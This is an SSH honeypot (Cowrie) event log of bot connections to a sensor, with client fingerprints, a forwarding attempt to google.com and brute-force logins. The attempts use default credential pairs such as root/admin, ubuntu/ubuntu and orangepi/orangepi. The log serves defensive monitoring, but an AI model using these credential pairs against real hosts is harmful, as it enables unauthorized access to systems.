{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:07:32.596913Z","src_ip":"185.129.61.4","session":"df18c626c22d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":41384,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa678149a18e","protocol":"ssh","message":"New connection: 92.118.39.56:41384 (10.17.0.5:22) [session: fa678149a18e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:07:46.302805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:07:46.307468Z","src_ip":"92.118.39.56","session":"fa678149a18e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:07:46.412029Z","src_ip":"92.118.39.56","session":"fa678149a18e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:07:46.736962Z","src_ip":"92.118.39.56","session":"fa678149a18e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:07:47.844088Z","src_ip":"92.118.39.56","session":"fa678149a18e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":443,"src_ip":"185.129.61.4","src_port":51422,"message":"direct-tcp connection request to google.com:443 from 127.0.0.1:51422","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:07:51.047734Z","session":"df18c626c22d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"google.com","dst_port":443,"ja4":"t12d3112h2_e8f1e7e78f70_64f78f54e6a2","message":"JA4 fingerprint for forwarded TLS to google.com:443: t12d3112h2_e8f1e7e78f70_64f78f54e6a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:07:51.266461Z","src_ip":"185.129.61.4","session":"df18c626c22d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"google.com","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd3\\x0c\\xdff\\x8b\\x99(\\xb4\\x12\\xb7\\x0b\\x18\\x1e\\xed9\\x00rX\\xf9:\\xf2;@4\\xacC-\\xfff\\x00\\xaa\\x04 \\xbfa\\x87\\xab\\xc5\\xca\\\\\\xa0-\\xd5yu\\xaf\\xcc\\xcb~\"\\xa1\\xc2?\\xd4\\xe81\\x8e\\xf9d\\xcd+\\xb5EY_\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0\\'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 6\\xb5\\x9a\\xb0\\xf6\\xea\\x8cb\\'\\x17\\x16\\xd6\\xda|\\xd0d\\x14Z+\\x96IK\\t\\x82\\x13I\\xb3y\\xb2\\x0emg\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to google.com:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd3\\x0c\\xdff\\x8b\\x99(\\xb4\\x12\\xb7\\x0b\\x18\\x1e\\xed9\\x00rX\\xf9:\\xf2;@4\\xacC-\\xfff\\x00\\xaa\\x04 \\xbfa\\x87\\xab\\xc5\\xca\\\\\\xa0-\\xd5yu\\xaf\\xcc\\xcb~\"\\xa1\\xc2?\\xd4\\xe81\\x8e\\xf9d\\xcd+\\xb5EY_\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0\\'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 6\\xb5\\x9a\\xb0\\xf6\\xea\\x8cb\\'\\x17\\x16\\xd6\\xda|\\xd0d\\x14Z+\\x96IK\\t\\x82\\x13I\\xb3y\\xb2\\x0emg\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:07:51.269754Z","src_ip":"185.129.61.4","session":"df18c626c22d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.4","message":"Connection lost after 20.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:07:51.564650Z","src_ip":"185.129.61.4","session":"df18c626c22d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.139.168","src_port":54066,"dst_ip":"10.17.0.5","dst_port":22,"session":"94cb88682055","protocol":"ssh","message":"New connection: 142.93.139.168:54066 (10.17.0.5:22) [session: 94cb88682055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:08:00.544099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:08:00.549249Z","src_ip":"142.93.139.168","session":"94cb88682055","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:08:00.624833Z","src_ip":"142.93.139.168","session":"94cb88682055","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"privatekeys","password":"privatekeys2018!","message":"login attempt [privatekeys/privatekeys2018!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:08:00.774331Z","src_ip":"142.93.139.168","session":"94cb88682055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:08:01.851164Z","src_ip":"142.93.139.168","session":"94cb88682055","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.127.249","src_port":53780,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae0dde04f90b","protocol":"ssh","message":"New connection: 45.79.127.249:53780 (10.17.0.5:22) [session: ae0dde04f90b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:08:11.117266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:08:11.121718Z","src_ip":"45.79.127.249","session":"ae0dde04f90b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:08:11.331143Z","src_ip":"45.79.127.249","session":"ae0dde04f90b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"luna","password":"luna","message":"login attempt [luna/luna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:08:11.753401Z","src_ip":"45.79.127.249","session":"ae0dde04f90b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.208.206.75","src_port":39584,"dst_ip":"159.203.135.109","dst_port":22,"session":"a618beed0060","protocol":"ssh","message":"New connection: 91.208.206.75:39584 (159.203.135.109:22) [session: a618beed0060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:08:12.160223Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:08:12.965296Z","src_ip":"45.79.127.249","session":"ae0dde04f90b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:08:15.114864Z","src_ip":"91.208.206.75","session":"a618beed0060","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:08:15.119070Z","src_ip":"91.208.206.75","session":"a618beed0060","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"orangepi","password":"orangepi","message":"login attempt [orangepi/orangepi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:08:20.282074Z","src_ip":"91.208.206.75","session":"a618beed0060","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.105.63.214","src_port":52498,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e13878d25cc","protocol":"ssh","message":"New connection: 172.105.63.214:52498 (10.17.0.5:22) [session: 1e13878d25cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:08:21.852483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:08:21.856822Z","src_ip":"172.105.63.214","session":"1e13878d25cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:08:22.068018Z","src_ip":"172.105.63.214","session":"1e13878d25cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"seedphrase","password":"seedphrase2018","message":"login attempt [seedphrase/seedphrase2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:08:22.491717Z","src_ip":"172.105.63.214","session":"1e13878d25cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.0","message":"Connection lost after 11.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:08:23.135098Z","src_ip":"91.208.206.75","session":"a618beed0060","protocol":"ssh"}
